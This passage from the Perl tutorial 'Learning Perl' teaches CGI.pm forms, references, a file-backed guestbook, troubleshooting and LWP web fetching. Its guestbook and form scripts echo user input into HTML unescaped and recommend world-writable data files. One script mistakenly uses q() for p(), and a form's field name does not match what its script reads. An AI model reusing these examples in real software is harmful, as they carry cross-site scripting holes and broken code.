Previous: 19.3 Simplest CGI Program | Learning Perl | Next: 19.5 Less Typing
19.3 Simplest CGI Program | Book Index | 19.5 Less Typing


[Chapter 19] 19.5 Less Typing

Learning PerlSearch this book

19.5 Less Typing

That's still a lot of typing. It turns out that CGI.pm includes a whole slew of convenience functions for simplifying this. Each of these routines returns a string for you to output. For example, header() returns a string containing the Content-type line with a following blank line, start_html(string) returns string as an HTML title, h1(string) returns string as a first-level HTML heading, and p(string) returns string as a new HTML paragraph.

We could list all these functions in the import list given with use, but that will eventually grow too unwieldy. However, CGI.pm, like many modules, provides you with import tags - labels that stand for groups of functions to import. You simply place the desired tags (each of which begins with a colon) at the beginning of your import list. The tags available with CGI.pm include these:

:cgi

Import all argument-handling methods, such as param().

:form

Import all fill-out form generating methods, such as textfield().

:html2

Import all methods that generate HTML 2.0 standard elements.

:html3

Import all methods that generate HTML 3.0 elements (such as <table>, <super>, and <sub>).

:netscape

Import all methods that generate Netscape-specific HTML extensions.

:shortcuts

Import all HTML-generating shortcuts (that is, "html2" + "html3" + "netscape").

:standard

Import "standard" features: "html2", "form", and "cgi".

:all

Import all the available methods. For the full list, see the CGI.pm module, where the variable %TAGS is defined.

We'll just use :standard. (For more about importing functions and variables from modules, see the Exporter module in Chapter 7 of Programming Perl, or the Exporter (3) manpage.)

Here's our program using all the shortcuts CGI.pm provides:

#!/usr/bin/perl -w
# cgi-bin/ice_cream: program to answer ice cream
# favorite flavor form (version 2)
use CGI qw(:standard);
print header(), start_html("Hello World"), h1("Greetings, Terrans!");
my $favorite = param("flavor");
print p("Your favorite flavor is $favorite.");
print end_html();

See how much easier that is? You don't have to worry about form decoding, headers, or HTML if you don't want to.

Previous: 19.4 Passing Parameters via CGI | Learning Perl | Next: 19.6 Form Generation
19.4 Passing Parameters via CGI | Book Index | 19.6 Form Generation


[Chapter 19] 19.6 Form Generation

Learning PerlSearch this book

19.6 Form Generation

Perhaps you're tired of typing your program's parameter to your browser. Just make a fill-out form instead, which is what most folks are used to. The parts of the form that accept user input are typically called widgets, a much handier term than "graphical input devices." Form widgets include single- and multiline textfields, pop-up menus, scrolling lists, and various kinds of buttons and checkboxes.

Create the following HTML page, which includes a form with one text-field widget and a submit button. When the user clicks on the submit button,[7] the ice_cream script specified in the ACTION tag is called.

[7] Some browsers allow you to leave out the submit button when the form has only a single input text field. When the user types a return in this field, it is treated as a submit request. But it's best to use portable HTML here.

<!-- ice_cream.html -->
<HTML>
    <HEAD>
    <TITLE>Hello Ice Cream</TITLE>
    </HEAD>
    <BODY>
    <H1>Hello Ice Cream</H1>
    <FORM ACTION="http://www.SOMEWHERE.org/cgi-bin/ice_cream">
    What's your flavor? <INPUT NAME="favorite" VALUE="mint">
    <P>
    <INPUT TYPE="submit">
    </FORM>
    </BODY>
</HTML>

Remember that a CGI program can generate any HTML output you want, which will then be passed to any browser that fetches the program's URL. A CGI program can, therefore, produce the HTML page with the form on it, just as a CGI program can respond to the user's form input. Moreover, the same program can perform both tasks, one after the other. All you need to do is divide the program into two parts, which do different things depending on whether or not the program was invoked with arguments. If no arguments were received, then the program sends the empty form to the browser; otherwise, the arguments contain a user's input to the previously sent form, and the program returns a response to the browser based on that input.

Keeping everything in a single CGI file this way eases maintenance. The cost is a little more processing time when loading the original page. Here's how it works:

#!/usr/bin/perl -w
# cgi-bin/ice_cream: program to answer *and generate* ice cream
# favorite flavor form (version 3)
use CGI qw(:standard);
my $favorite = param("flavor");
print header, start_html("Hello Ice Cream"), h1("Hello Ice Cream");
if ($favorite) {
    print q("Your favorite flavor is $favorite.");
} else {
    print hr, start_form; # hr() emits html horizontal rule: <HR>
    print q("Please select a flavor: ", textfield("flavor","mint"));
    print end_form, hr;
}

If, while using your browser, you click on a link that points to this program (and if the link does not specify ?whatever at the end of the URL), you'll see a screen like that in Figure 19.2. The text field is initially filled out with the default value, but the user's typed input, if any, will replace the default

Figure 19.2: A basic fill-out form

Now fill in the flavor field, hit Return, and Figure 19.3 shows what you'll see.

Figure 19.3: Result of submitting the form shown in Figure 19-2

Previous: 19.5 Less Typing | Learning Perl | Next: 19.7 Other Form Elements
19.5 Less Typing | Book Index | 19.7 Other Form Elements


[Chapter 19] 19.7 Other Form Elements

Learning PerlSearch this book

19.7 Other Form Elements

Now that you know how to create simple text fields in your form and respond to them, you're probably wondering how to make the other kinds of widgets you've seen, like buttons, checkboxes, and menus.

Here's a more elaborate version of our program. We've thrown in some new widgets: popup menus, a submit button (named "order"), and a button to reset the entire form, erasing all user input. Popup menus are pretty much just what they say they are, but the arguments given to popup_menu may perplex you until you've read the following section on "References." The textfield() function creates a text-input field with the indicated name. We'll give more details about this function when describing the guestbook program later in this chapter.

#!/usr/bin/perl -w
# cgi-bin/ice_cream: program to answer and generate ice cream
# order form (version 4)
use strict; # enforce variable declarations and quoting
use CGI qw(:standard);

print header, start_html("Ice Cream Stand"), h1("Ice Cream Stand");
if (param()) { # the form has already been filled out
    my $who = param("name");
    my $flavor = param("flavor");
 my $scoops = param("scoops");
 my $taxrate = 1.0743;
 my $cost = sprintf("%.2f", $taxrate * (1.00 + $scoops * 0.25));
 print p("Ok, $who, have $scoops scoops of $flavor for \$$cost.");
} else { # first time through, so present clean form
    print hr(); # draw a horizontal rule before the form
    print start_form();
    print p("What's your name? ", textfield("name"));
    # FOR EXPLANATION OF FOLLOWING TWO LINES, SEE NEXT SECTION
    print p("What flavor: ", popup_menu("flavor",
                                           ['mint','cherry','mocha']));
    print p("How many scoops? ", popup_menu("scoops", [ 1..3 ]));
    print p(submit("order"), reset("clear"));
    print end_form(), hr();
}
print end_html;

Figure 19.4 shows the initial screen it generates.

Figure 19.4: A slightly more elaborate fill-out form

As you'll recall, the param() function, when called without arguments, returns the names of all form-input fields that were filled out. That way you can tell whether or not the URL was called from a filled-out form. If you have parameters, then the user filled in some of the fields of an existing form, so respond to them. Otherwise generate a new form, expecting to have this very same program called a second time.

19.7.1 References

You may have noticed that the popup_menu() functions in the previous example both have a strange kind of argument. Just what are ['mint','cherry','mocha'] and [ 1..3 ] doing there? The brackets create something you haven't seen before: a reference to an anonymous array. That's because the popup_menu() function expects an array reference for an argument. Another way to create an array reference is to use a backslash in front of a named array, as in \@choices. So this

@choices = ('mint','cherry','mocha');
print p("What flavor: ", popup_menu("flavor", \@choices));

works just as well as this:

print p("What flavor: ", popup_menu("flavor", ['mint','cherry','mocha']));

References behave somewhat as pointers do in other languages, but with less danger of error. They're values that refer to other values (or variables). Perl references are very strongly typed (and uncastable), and they can never cause core dumps. Even better, the memory storage pointed to by references is automatically reclaimed when it's no longer used. References play a central role in object-oriented programming. They're also used in traditional programming, forming the basis for data structures more complex than simple one-dimensional arrays and hashes. Perl supports references to both named and anonymous scalars, arrays, hashes, and functions.

Just as you can create references to named arrays with \@array and to anonymous arrays with [ list ], you can also create references to named hashes using \%hash and to anonymous ones like this:[8]

{ key1, value1, key2, value2, ... }

[8] Yes, braces now have quite a few meanings in Perl. The context in which you use them determines what they're doing.

You can learn more about references in Chapter 4 of Programming Perl, or the perlref (1) manpage.

19.7.2 Fancier Calling Sequences

We'll round out the discussion of form widgets by creating a really fancy widget - one that allows the user to select any number of its items. The scrolling_list() function of CGI.pm can take an arbitrary number of argument pairs, each of which consists of a named parameter (beginning with -) and a value for the parameter.

To add a scrolling list to a form, here's all you need to do:

 print scrolling_list(
     -NAME => "flavors",
     -VALUES => [ qw(mint chocolate cherry vanilla peach) ],
     -LABELS => {
         mint => "Mighty Mint",
         chocolate => "Cherished Chocolate",
         cherry => "Cheery Cherry",
         vanilla => "Very Vanilla",
         peach => "Perfectly Peachy",
     },
     -SIZE => 3,
     -MULTIPLE => 1, # 1 for true, 0 for false
);

The parameter values have meanings as follows:

-NAME

The name of the widget. You can use the value of this later to retrieve user data from the form with param().

-LABELS

A reference to an anonymous hash. The values of the hash provide the labels (list items) seen by the form user. When a particular label is selected by the user, the corresponding hash key is what gets returned to the CGI program. That is, if the user selects the item given as Perfectly Peachy, the CGI program will receive the argument, peach.

-VALUES

A reference to an anonymous array. The array consists of the keys of the hash referenced by -LABELS.

-SIZE

A number determining how many list items will be visible to the user at one time.

-MULTIPLE

A true or false value (in Perl's sense of true and false) indicating whether the form user will be allowed to choose more than one list item.

When you've set -MULTIPLE to true, you'll want to assign param()'s return list to an array:

@choices = param("flavors");

Here's another way to create the same scrolling list, passing a reference to an existing hash instead of creating one on the fly:

%flavors = (
    mint => "Mighty Mint",
    chocolate => "Cherished Chocolate",
    cherry => "Cheery Cherry",
    vanilla => "Very Vanilla",
    peach => "Perfectly Peachy",
);
print scrolling_list(
    -NAME => "flavors",
    -LABELS => \%flavors,
    -VALUES => [ keys %flavors ],
    -SIZE => 3,
    -MULTIPLE => 1, # 1 for true, 0 for false
);

This time we send in values computed from the keys of the %flavors hash, which is itself passed in by reference using the backslash operator. Notice how the -VALUES parameter is still wrapped in square brackets? It wouldn't work to just pass in the result of keys as a list, because the calling convention for the scrolling_list() function requires an array reference there, which the brackets happily provide. Think of the brackets as a convenient way to treat multiple values as a single value.

Previous: 19.6 Form Generation | Learning Perl | Next: 19.8 Creating a Guestbook Program
19.6 Form Generation | Book Index | 19.8 Creating a Guestbook Program


[Chapter 19] 19.8 Creating a Guestbook Program

Learning PerlSearch this book

19.8 Creating a Guestbook Program

If you have followed the examples above, you can now get some simple CGI programs going. But what about harder ones? A common request is to create a CGI program to manage a guestbook, so that visitors to your web site can record their own messages.[9]

[9] As we will note later on, this application might also be called a webchat program.

Actually, the form for this kind of thing is quite easy, easier in fact than some of our ice cream forms. Other matters get trickier. But don't worry, we'll explain it all as we go.

You probably want guestbook messages to survive a user's visit to your site, so you need a file to store them in. The CGI program (probably) runs under a different user, not as you; therefore, it won't normally have permission to update a file of yours. So, first, create a file with wide-open permissions. If you're on a UNIX system, then you can do this (from your shell) to initialize a file for the guestbook program to use:

touch /usr/tmp/chatfile
chmod 0666 /usr/tmp/chatfile

Okay, but how will you accommodate several folks using the guestbook program simultaneously? The operating system doesn't block simultaneous access to files, so if you're not careful, you could get a jumbled file as everyone writes to it at the same time. To avoid this, we'll use Perl's flock function to request exclusive access to the file we're going to update. It will look something like this:

use Fcntl qw(:flock); # imports LOCK_EX, LOCK_SH, LOCK_NB
....
flock(CHANDLE, LOCK_EX) || bail("cannot flock $CHATNAME: $!");

The LOCK_EX argument to flock is what buys us exclusive file access.[10]

[10] With Perl versions prior to the 5.004 release, you must comment out the use Fcntl and just use 2 as the argument to flock.

flock presents a simple but uniform locking mechanism even though its underlying implementation varies wildly between systems. It reliably "blocks," not returning until it gets the lock. Note that file locks are purely advisory: they only work when all processes accessing a file honor the locks in the same way. If three processes honor them, but another doesn't, all bets are off.

19.8.1 Object-Oriented Programming in Perl

Finally, and most important, it's time to teach you how to use objects and classes. Although building your own object module is beyond the scope of this book, you don't have to know about that in order to use existing, object-oriented library modules. For in-depth information about using and creating object modules, see Chapter 5 of Programming Perl and the perltoot (1) manpage.

We won't go into the theory behind objects here, but you can just treat them as packages (which they are!) of wonderful and marvelous things that you invoke indirectly. Objects provide subroutines that do anything you need to do with the object.

For instance, suppose the CGI.pm module returns an object called $query that represents the user's input. If you want to get a parameter from the query, invoke the param() subroutine like this:

$query->param("answer");

This says, "Run the param() subroutine on the $query object, with "answer" as an argument." It's just like invoking any other subroutine, except that you employ the name of the object followed by the -> syntax. Subroutines associated with objects, by the way, are called methods.

If you want to retrieve the return value of the param() subroutine, just use the usual assignment statement and store the value in a regular old variable named $he_said:

$he_said = $query->param("answer");

Objects look like scalars; you store them in scalar variables (like $query in our example), and you can make arrays or hashes of objects. But you don't treat them as you would strings or numbers. They're actually a particular kind of reference,[11] but you don't even treat them as you would ordinary references. Instead, you treat them like a special, user-defined type of data.

[11] A blessed reference, to be precise.

The type of a particular object is known as its class. The class name is normally just the module name - without the .pm suffix - and often the words "class" and "module" are used interchangeably. So we can speak of the CGI module and also the CGI class. Objects of a particular class are created and managed by the module implementing that class.

You access classes by loading in a module, which looks just like any other module except that object-oriented ones don't usually export anything. You can think of the class as a factory that cranks out brand-new objects. To get the class to produce one of these new objects, you invoke special methods called constructors. Here's an example:

$query = CGI->new(); # call method new() in class "CGI"

What you have there is the invocation of a class method. A class method looks just like an object method (which is what we were talking about a moment ago), except instead of using an object to call the method, you use the name of the class as though it were itself an object. An object method is saying "call the function by this name that is related to this object"; a class method is saying "call the function by this name that is related to this class."

Sometimes you'll see that same thing written this way:

$query = new CGI; # same thing

The second form is identical in behavior to the first. It's got less punctuation, so is sometimes preferred. But it's less convenient to use as part of a larger expression, so we'll use the first form exclusively in this book.

From the standpoint of the designer of object modules, an object is a reference to a user-defined data structure, often an anonymous hash. Inside this structure is stored all manner of interesting information. But the well-behaved user of an object is expected to get at this information (to inspect or change it), not by treating the object as a reference and going straight for the data it points to, but by employing only the available object and class methods. Changing the object's data by other means amounts to hanky-panky that is bound to get you talked about. To learn what those methods are and how they work, just read the object module's documentation, usually included as embedded pods.

19.8.2 Objects in CGI.pm

The CGI module is unusual in that it can be treated either as a traditional module with exported functions or as an object module. Some kinds of programs are more easily written using the object interface to CGI.pm rather than the procedural one. A guestbook program is one of these. We access the input that the user supplied to the form via a CGI object, and we can, if we want, use this same object to generate new HTML code for sending back to the user.

First, however, we need to create the object explicitly. For CGI.pm, as for so many other classes, the method that generates objects is the class method named new().[12]

[12] Unlike C++, Perl doesn't consider new a keyword; you're perfectly free to have constructor methods called gimme_another() or fred(). But most classes end up naming their constructors new() anyway.

This method constructs and returns a new CGI object corresponding to a filled-out form. The object contains all the user's form input. Without arguments, new() builds the object by reading the data passed by the remote browser. With a filehandle as an argument, it reads the handle instead, expecting to find form input saved from previous communication with a browser.

We'll show you the program and explain its details in a moment. Let's assume that the program is named guestbook and is in the cgi-bin directory. While this program does not look like one of the two-part scripts shown earlier (where one part outputs an HTML form, and the other part reads and responds to form input from a user), you will see that it nevertheless does handle both functions. So there is no need for a separate HTML document containing a guestbook form. The user might first trigger our program simply by clicking on a link like this:

Please sign our
<A HREF="http://www.SOMEWHERE.org/cgi-bin/guestbook">guestbook</A>.

The program then downloads an HTML form to the browser and, for good measure, also downloads any previous guest messages (up to a stated limit) for the user to review. The user then fills out the form, submits it, and the program reads what is submitted. This is added to the list of previous messages (saved in a file), which is then output to the browser again, along with a fresh form. The user can continue reading the current set of messages and submitting new messages via the supplied forms as long as he wishes.

Here's the program. You might want to scan it quickly before we step you through it.

#!/usr/bin/perl -w

use 5.004;
use strict;            # enforce declarations and quoting
use CGI qw(:standard); # import shortcuts
use Fcntl qw(:flock);  # imports LOCK_EX, LOCK_SH, LOCK_NB

sub bail {             # function to handle errors gracefully
    my $error = "@_";
    print h1("Unexpected Error"), p($error), end_html;
    die $error;
}

my(
    $CHATNAME, # name of guestbook file
    $MAXSAVE,  # how many to keep
    $TITLE,    # page title and header
    $cur,      # new entry in the guestbook
    @entries,  # all cur entries
    $entry,    # one particular entry
);

$TITLE = "Simple Guestbook";
$CHATNAME = "/usr/tmp/chatfile"; # wherever makes sense on your system
$MAXSAVE = 10;

print header, start_html($TITLE), h1($TITLE);

$cur = CGI->new();                         # current request
if ($cur->param("message")) {              # good, we got a message
    $cur->param("date", scalar localtime); # set to the current time
 @entries = ($cur);                        # save message to array
}

# open the file for read-write (preserving old contents)
open(CHANDLE, "+< $CHATNAME") || bail("cannot open $CHATNAME: $!");

# get exclusive lock on the guestbook (LOCK_EX == exclusive lock)
flock(CHANDLE, LOCK_EX) || bail("cannot flock $CHATNAME: $!");

# grab up to $MAXSAVE old entries, newest first
while (!eof(CHANDLE) && @entries < $MAXSAVE) {
    $entry = CGI->new(\*CHANDLE); # pass the filehandle by reference
    push @entries, $entry;
}
seek(CHANDLE, 0, 0) || bail("cannot rewind $CHATNAME: $!");
foreach $entry (@entries) {
    $entry->save(\*CHANDLE); # pass the filehandle by reference
}
truncate(CHANDLE, tell(CHANDLE)) ||
                                 bail("cannot truncate $CHATNAME: $!");
close(CHANDLE) || bail("cannot close $CHATNAME: $!");

print hr, start_form;         # hr() emits html horizontal rule: <HR>
print p("Name:", $cur->textfield(
    -NAME => "name"));
print p("Message:", $cur->textfield(
    -NAME => "message",
    -OVERRIDE => 1,           # clears previous message
    -SIZE => 50));
print p(submit("send"), reset("clear"));
print end_form, hr;

print h2("Prior Messages");
foreach $entry (@entries) {
    printf("%s [%s]: %s",
    $entry->param("date"),
    $entry->param("name"),
    $entry->param("message"));
    print br();
}
print end_html;

Figure 19.5 shows an example screen dump after running the guestbook program.

Figure 19.5: A simple guestbook form

Note that the program begins with:

use 5.004;

If you want to run it with an earlier version of Perl 5, you'll need to comment out the line reading:

use Fcntl qw (:flock);

and change LOCK_EX in the first flock invocation to be 2.

Since every execution of the program results in the return of an HTML form to the particular browser that sought us out, the program begins by getting a start on the HTML code:

print header, start_html($TITLE), h1($TITLE);

It then creates a new CGI object:

$cur = CGI->new();                         # current request
if ($cur->param("message")) {              # good, we got a message
    $cur->param("date", scalar localtime); # set to the current time
    @entries = ($cur);                     # save message to array
}

If we are being called via submission of a form, then the $cur object now contains information about the input text given to the form. The form we supply (see below) has two input fields: a name field for the name of the user, and a message field for the message. In addition, the code shown above puts a date stamp on the form data after it is received. Feeding the param() method two arguments is a way to set the parameter named in the first argument to the value given in the second argument.

If we are not being called via submission of a form, but rather because the user has clicked on "Please sign our guestbook," then the query object we create here will be empty. The if test will yield a false value, and no entry will be added to the @entries array.

In either case, we proceed to check for any entries previously saved in our savefile. We will read those into the @entries array. (Recall that we have just now made the current form input, if any, the first member of this array.) But, first, we have to open the savefile:

open(CHANDLE, "+< $CHATNAME") || bail("cannot open $CHATNAME: $!");

This opens the file in nondestructive read-write mode. Alternatively, we could use sysopen(). This way a single call opens an old file (if it exists) without clobbering it, or else creates a new one:

# need to import two "constants" from Fcntl module for sysopen
use Fcntl qw( O_RDWR O_CREAT );
sysopen(CHANDLE, $CHATNAME, O_RDWR|O_CREAT, 0666)
    || bail "can't open $CHATNAME: $!";

Then we lock the file, as described earlier, and proceed to read up to a total of $MAXSAVE entries into @entries:

flock(CHANDLE, LOCK_EX) || bail("cannot flock $CHATNAME: $!");
while (!eof(CHANDLE) && @entries < $MAXSAVE) {
    $entry = CGI->new(\*CHANDLE); # pass the filehandle by reference
    push @entries, $entry;
}

eof is a Perl built-in function that tells whether we have hit the end of the file. By repeatedly passing to the new() method a reference to the savefile's filehandle[13] we retrieve the old entries - one entry per call. Then we update the file so that it now includes the new entry we (may) have just received:

seek(CHANDLE, 0, 0) || bail("cannot rewind $CHATNAME: $!");
foreach $entry (@entries) {
    $entry->save(\*CHANDLE); # pass the filehandle by reference
}
truncate(CHANDLE, tell(CHANDLE)) || bail("cannot truncate $CHATNAME: $!");
close(CHANDLE) || bail("cannot close $CHATNAME: $!");

[13] Actually, it's a glob reference, not a filehandle reference, but that's close enough.

seek, truncate, and tell are all built-in Perl functions whose descriptions you will find in any Perl reference work. Here seek repositions the file pointer to the beginning of the file, truncate truncates the indicated file to the specified length, and tell returns the current offset of the file pointer from the beginning of the file. The effect of these lines is to save only the most recent $MAXSAVE entries, beginning with the one just now received, in the savefile.

The save() method handles the actual writing of the entries. The method can be invoked here as $entry->save because $entry is a CGI object, created with CGI->new() as previously discussed.

The format of a savefile entry looks like this, where the entry is terminated by "=" standing alone on a line:

NAME1=VALUE1
NAME2=VALUE2
NAME3=VALUE3
=

Now it's time to return a fresh form to the browser and its user. (This will, of course, be the first form he is seeing if he has just clicked on "Please sign our guestbook.") First, some preliminaries:

print hr, start_form; # hr() emits html horizontal rule: <HR>

As already mentioned, CGI.pm allows us to use either straight function calls or method calls via a CGI object. Here, for basic HTML code, we've reverted to the simple function calls. But for generation of form input fields, we continue to employ object methods:

print p("Name:", $cur->textfield(
    -NAME => "name"));
print p("Message:", $cur->textfield(
    -NAME => "message",
    -OVERRIDE => 1, # clears previous message
    -SIZE => 50));
print p(submit("send"), reset("clear"));
print end_form, hr;

The textfield() method returns a text-input field for a form. The first of the two invocations here generates HTML code for a text-input field with the HTML attribute, NAME="name", while the second one creates a field with the attribute, NAME="message".

Widgets created by CGI.pm are by default sticky: they retain their values between calls. (But only during a single "session" with a form, beginning when the user clicks on "Please sign our guestbook.") This means that the NAME="name" field generated by the first textfield() above will have the value of the user's name if he has already filled out and submitted the form at least once during this session. So the input field we are now creating will actually have these HTML attributes:

NAME="name" VALUE="Sam Smith"

The second invocation of textfield() is a different matter. We don't want the message field to contain the value of the old message. So the -OVERRIDE => 1 argument pair says, in effect, "throw out the previous value of this text field and restore the default value." The -SIZE => 50 argument pair of textfield() gives the size of the displayed input field in characters. Other optional argument pairs beside those shown: -DEFAULT => 'initial value' and -MAXLENGTH => n, where n is the maximum number of input characters the field will accept.

Finally, we output for the user's delectation the current set of saved messages, including, of course, any he has just submitted:

print h2("Prior Messages");
foreach $entry (@entries) {
    printf("%s [%s]: %s",
    $entry->param("date"),
    $entry->param("name"),
    $entry->param("message"));
    print br();
}
print end_html;

As you will doubtless realize, the h2 function outputs a second-level HTML heading. For the rest, we simply iterate through the current list of saved entries (the same list we earlier wrote to the savefile), printing out date, name, and message from each one.

Users can sit there with the guestbook form, continually typing messages and hitting the submit button. This simulates an electronic bulletin-board system, letting them see each others' new messages each time they send off their own. When they do this, they call the same CGI program repeatedly, which means that the previous widget values are automatically retained between invocations. This is particularly convenient when creating multistage forms, such as those used in so-called "shopping cart" applications.

Previous: 19.7 Other Form Elements | Learning Perl | Next: 19.9 Troubleshooting CGI Programs
19.7 Other Form Elements | Book Index | 19.9 Troubleshooting CGI Programs


[Chapter 19] 19.9 Troubleshooting CGI Programs

Learning PerlSearch this book

19.9 Troubleshooting CGI Programs

CGI programs launched from a web server run under a fundamentally different environment than they do when invoked from the command line. While you should always verify that your CGI program runs properly from the command line,[14] this isn't enough to guarantee that your program will work when called from the web server.

[14] See the CGI.pm documentation for tips on command-line debugging.

You should get the CGI programming FAQ and a good book on CGI programming to help you in this. Some of these are listed at the end of this chapter. Here's a brief list of the frequent problems that arise in CGI programming. Almost all of them trigger those annoyingly unhelpful 500 Server Error messages that you will soon come to know and hate.

  • If, when sending HTML to a browser, you forget the blank line between the HTTP header (that is, the Content-type line) and the body, it won't work. Remember to output a proper Content-Type line (and possibly other HTTP headers) plus a totally blank line before you do anything else.

  • The server needs read and execute access to the script, so its permissions should usually be mode 0555 or, better, 0755. (This is UNIX-specific.)

  • The directory where the script resides must itself be executable, so give it permissions of 0111 or, better, 0755. (This is UNIX-specific.)

  • The script must be installed in the proper directory for your server configuration. For example, on some systems, it may be /usr/etc/httpd/cgi-bin/.

  • You may need to have your script's filename end in a particular suffix, like .cgi or .pl. We advise against this setup, preferring to enable CGI execution on a per-directory basis instead, but some configurations may require it. Automatically assuming that anything ending in .cgi is executable is perilous if any directories are writable by FTP clients, or when mirroring someone else's directory structure. In both cases, executable programs may suddenly appear on your server without the webmaster's knowledge or consent. It also means that any files whose names end in .cgi or .pl can never again be fetched via a normal URL, an effect that ranges between undesirable and disastrous.

    Remember that the .pl suffix means it's a Perl library, not a Perl executable. Confusing these two will only make you unhappy in the long run. If you absolutely must have a unique suffix on a script to enable Perl execution (because your operating system just isn't clever enough to use something like the #!/usr/bin/perl notation), we suggest a suffix of .plx instead. But you still incur the other problems we just mentioned.

  • Your server configuration requires CGI execution specially enabled for the directory you put your CGI script in. Make sure both GET and POST are allowed. (Your webmaster will know what that means.)

  • The web server doesn't execute your script under your user ID. Make sure the files and directories accessed by the script are open to whatever user the web server runs scripts as, for example, nobody, wwwuser, or httpd. You may need to precreate such files and directories and give them wide-open write permissions. Under UNIX, this is done with chmod a+w. Always be alert to the risks when you grant such access to files.

  • Always run your script under Perl's -w flag to get warnings. These go to the web-server error log, which contains any errors and warnings generated by your script. Learn the path to that logfile from your webmaster and check it for problems. See also the standard CGI::Carp module for how to handle errors better.

  • Make sure that the versions and paths to Perl and any libraries you use (like CGI.pm) are what you're expecting them to be on the machine the web server is running on.

  • Enable autoflush on the STDOUT filehandle at the top of your script by setting the $| variable to a true value, like 1. If you've the used the FileHandle module or any of the IO modules (like IO::File, IO::Socket, and so on), then you can use the more mnemonically named autoflush() method on the filehandle instead:

         use FileHandle;
     STDOUT->autoflush(1);

  • Check the return value of every system call your program makes, and take appropriate action if the call fails.

Previous: 19.8 Creating a Guestbook Program | Learning Perl | Next: 19.10 Perl and the Web: Beyond CGI Programming
19.8 Creating a Guestbook Program | Book Index | 19.10 Perl and the Web: Beyond CGI Programming


[Chapter 19] 19.10 Perl and the Web: Beyond CGI Programming

Learning PerlSearch this book

19.10 Perl and the Web: Beyond CGI Programming

Perl is used for much more than CGI programming. Other uses include logfile analysis, cookie and password management, clickable images, and image manipulation.[15] And that's still just the tip of the iceberg.

[15] See the GD.pm module on CPAN for a Perl interface to Thomas Boutell's gd graphics library.

19.10.1 Custom Publishing Systems

Commercial web publishing systems may make easy things easy, especially for nonprogrammers, but they just aren't infinitely flexible the way a real programming language is. Without source code, you're locked into someone else's design decisions: if something doesn't work quite the way you want it to, you can't fix it. No matter how many whiz-bang programs become available for the consumer to purchase, a programmer will always be needed for those special jobs that don't quite fit the mold. And of course someone has to write the publishing software in the first place.

Perl is great for creating custom publishing systems tailored to your unique needs. It's easy to convert raw data into zillions of HTML pages en masse. Sites all over the Web use Perl to generate and maintain their entire web site. The Perl Journal (www.tpj.com) uses Perl to generate all its pages. The Perl Language Home Page (www.perl.com) has nearly 10,000 web pages all automatically maintained and updated by various Perl programs.

19.10.2 Embedded Perl

The fastest, cheapest (it's hard to get any cheaper than free), and most popular web server on the Net, Apache, can run with Perl embedded inside it using the mod_perl module from CPAN. With mod_perl, Perl becomes the extension language for your web server. You can write little Perl snippets to handle authorization requests, error handling, logging, and anything else you can think of. These don't require a new process because Perl is now built-in to the web server. Even more appealing for many is that under Apache you don't have to fire off a whole new process each time a CGI request comes in. Instead, a new thread executes a precompiled Perl program. This speeds up your CGI programs significantly; typically it's the fork/exec overhead that slows you down, not the size of the program itself.

Another strategy for speeding up CGI execution is through the standard CGI::Fast module. Unlike the embedded Perl interpreter described above, this approach doesn't require the Apache web server. See the CGI::Fast module's manpage for more details about this.

If you're running a web server under WindowsNT, you should definitely check out the ActiveWare site, www.activeware.com. Not only do they have prebuilt binaries of Perl for Windows platforms,[16] they also provide PerlScript and PerlIS. PerlScript is an ActiveX scripting engine that lets you embed Perl code in your web pages as you would with JavaScript or VBScript. PerlIS is an ISAPI DLL that runs Perl scripts directly from IIS and other ISAPI compliant web servers, providing significant performance benefits.

[16] As of release 5.004, the standard distribution of Perl builds under Windows, assuming you have a C compiler, that is.

19.10.3 Web Automation with LWP

Have you ever wanted to check a web document for dead links, find its title, or figure out which of its links have been updated since last Thursday? Or wanted to download the images contained within a document or mirror an entire directory full of documents? What happens if you have to go through a proxy server or server redirects?

Now, you could do these things by hand using your browser. But because graphical interfaces are woefully inadequate for programmatic automation, this would be a slow and tedious process requiring more patience and less laziness[17] than most of us tend to possess.

[17] Remember that according to Larry Wall, the three principal virtues of a programmer are Laziness, Impatience, and Hubris.

The LWP ("Library for WWW access in Perl") modules from CPAN do all this for you and more. For example, fetching a document from the Web in a script is so easy using these modules that you can write it as a one-liner. For example, to get the /perl/index.html document from www.perl.com, just type this into your shell or command interpreter:

perl -MLWP::Simple -e "getprint 'http://www.perl.com/perl/index.html'"

Apart from the LWP::Simple module, most of the modules included in the LWP suite are strongly object-oriented. For example, here's a tiny program that takes URLs as arguments and produces their titles:

#!/usr/bin/perl
use LWP;
$browser = LWP::UserAgent->new(); # create virtual browser
$browser->agent("Mothra/126-Paladium"); # give it a name
foreach $url (@ARGV) { # expect URLs as args
    # make a GET request on the URL via fake browser
    $webdoc = $browser->request(HTTP::Request->new(GET => $url));
    if ($webdoc->is_success) { # found it
    print STDOUT "$url: ", $webdoc->title, "\n";
    } else { # something went wrong
    print STDERR "$0: Couldn't fetch $url\n";
    }
}

As you see, familiarity with Perl's objects is important. But just as with the CGI.pm module, the LWP modules hide most of the complexity.

This script works as follows: first create a user agent object, something like an automated, virtual browser. This object is used to make requests to remote servers. Give our virtual browser a silly name just to make people's logfiles more interesting. Then pull in the remote document by making an HTTP GET request to the remote server. If the result is successful, print out the URL and its title; otherwise, complain a bit.

Here's a program that prints out a sorted list of unique links and images contained in URLs passed as command-line arguments:

#!/usr/bin/perl -w
use strict;
use LWP 5.000;
use URI::URL;
use HTML::LinkExtor;

my($url, $browser, %saw);
$browser = LWP::UserAgent->new(); # make fake browser
foreach $url ( @ARGV ) {
    # fetch the document via fake browser
    my $webdoc = $browser->request(HTTP::Request->new(GET => $url));
    next unless $webdoc->is_success;
    next unless $webdoc->content_type eq 'text/html';
                                                 # can't parse gifs

    my $base = $webdoc->base;

    # now extract all links of type <A ...> and <IMG ...>
    foreach (HTML::LinkExtor->new->parse($webdoc->content)->eof->
                                                   links) {
        my($tag, %links) = @$_;
        next unless $tag eq "a" or $tag eq "img";
        my $link;
        foreach $link (values %links) {
            $saw{ url($link,$base)->abs->as_string }++;
        }
    }
}
print join("\n", sort keys %saw), "\n";

This looks pretty complicated, but most of the complexity lies in understanding how the various objects and their methods work. We aren't going to explain all these here, because this book is long enough already. Fortunately, LWP comes with extensive documentation and examples.

Previous: 19.9 Troubleshooting CGI Programs | Learning Perl | Next: 19.11 Further Reading
19.9 Troubleshooting CGI Programs | Book Index | 19.11 Further Reading


[Chapter 19] 19.11 Further Reading

Learning PerlSearch this book

19.11 Further Reading

There's quite a bit more to modules, references, objects, and web programming than we can possibly hope to cover in this one small chapter. A whole book could be written on CGI programming. In fact, dozens have been. For your continued research into these matters, check out the following reference list:

  • CGI.pm docs

  • The LWP library from CPAN

